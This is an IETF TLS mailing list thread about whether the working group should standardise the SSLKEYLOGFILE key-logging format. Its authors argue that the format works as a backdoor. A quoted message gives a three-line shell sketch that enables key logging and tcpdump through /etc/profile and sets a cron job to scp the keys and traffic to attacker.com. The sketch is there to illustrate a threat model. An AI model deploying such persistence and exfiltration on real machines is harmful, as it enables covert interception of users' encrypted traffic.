I agree with Stephen and Tomas on this one. Additionally, in my opinion, this WG should not have published any SSLKEYLOGFILE documents, because they effectively standardize a backdoor. It is understood that there is a need for debugging, and it is understood that certain SW vendors want to agree on a common log data format and publish this format.
However: - Debugging can (and should) be accomplished without a complete compromise of the security protocol (arguably, with less ease/convenience). - Backdoor specifications can be agreed upon outside the IETF process and published as part of the respective SW vendor's documentation, without involving the IETF. Cheers, Andrei -----Original Message----- From: Bellebaum, Thomas <thomas.belleb...@aisec.fraunhofer.de> Sent: Friday, February 21, 2025 2:18 AM To: stephen.farr...@cs.tcd.ie; robainloy...@gmail.com; rs...@akamai.com; hka...@redhat.com Cc: tls@ietf.org Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS [You don't often get email from thomas.belleb...@aisec.fraunhofer.de. Learn why this is important at https://aka.ms/LearnAboutSenderIdentification ] > I disagree with this because if an attacker could write to the > environment variable used by the program or is able to side-load a > library and capture outbound packets, it is very likely that they > already have privileged access to the machine. I am questioning the threat model. Just like Perfect Forward Secrecy comes at an unbearable cost if you believe that TLS cannot provide ANY security if you ever get compromised (The advocate might say: after all, the database is not encrypted, there are backups, ...). In that spirit, let us assume that some individual has root access to an average user's computer. What could theoretically happen? Anything. Agreed. What could practically happen? Well, it depends... Say the user is using Linux (that is what I have, I assume Windows has similar functionality): ```sh echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo "tcpdump -w /tmp/traffic &" >> /etc/profile echo "0 * * * * scp /tmp/keys /tmp/traffic u...@attacker.com:~/" >> /etc/crontab ``` (You get the point. Let us assume that the kinks would be filtered out before deploying :) ) This is simple enough to fit in a forum post and fortunately for our attacker, the TCP dumps can now be automatically parsed using a range of tools since all relevant protocols (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented. Next, let us go out of our way and assume that interoperable file formats did not exist. Again, in theory, our attacker could replace programs to leak the keys, side-load a library, perform memory dumps and analyze them, etc. Is he going to do that, though? All the above methods do not scale to many programs at once. In each case, an attacker would first need to figure out a way to do that (and do it reliably in an automated fashion). It would suprise me to learn that the same potential would rest in three lines of shell code. Yes, state level actors, etc. have enough resources to not care. How about an abusive partner in your relationship? A bit of frustration on their side might go a long way. This is the difference I am worried about. It is not quantifiable in the cryptographic sense (Any attacker with resources X has probability < Y to achieve Z), but it is relevant in practice. We can make the adversary work a bit harder using very simple measures. For instance, by suggesting that applications should notify their users if this method is used, the above gain disappears. Cost: An extra if clause in the code to display the happy green location bar. Effect: Can hardly be less than that. > There already is widely deployed software that leaks key information. > OpenSSL has a trace facility, normally compiled out, that reports > PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default. > The OpenSSL library also provides a register-callback function that > will get private key material and that is always enabled which the > OpenSSL project does not consider a security risk[2]. I assume OpenSSL > qualifies as widely-deployed. :) This is scary as well. I did not know that :) Still, this is one implementation. We are considering interoperability-enabling documents. If misuse of this API should become a real-world issue, the OpenSSL project will almost certainly be able to remidy it faster than the IETF. _______________________________________________ TLS mailing list -- tls@ietf.org To unsubscribe send an email to tls-le...@ietf.org
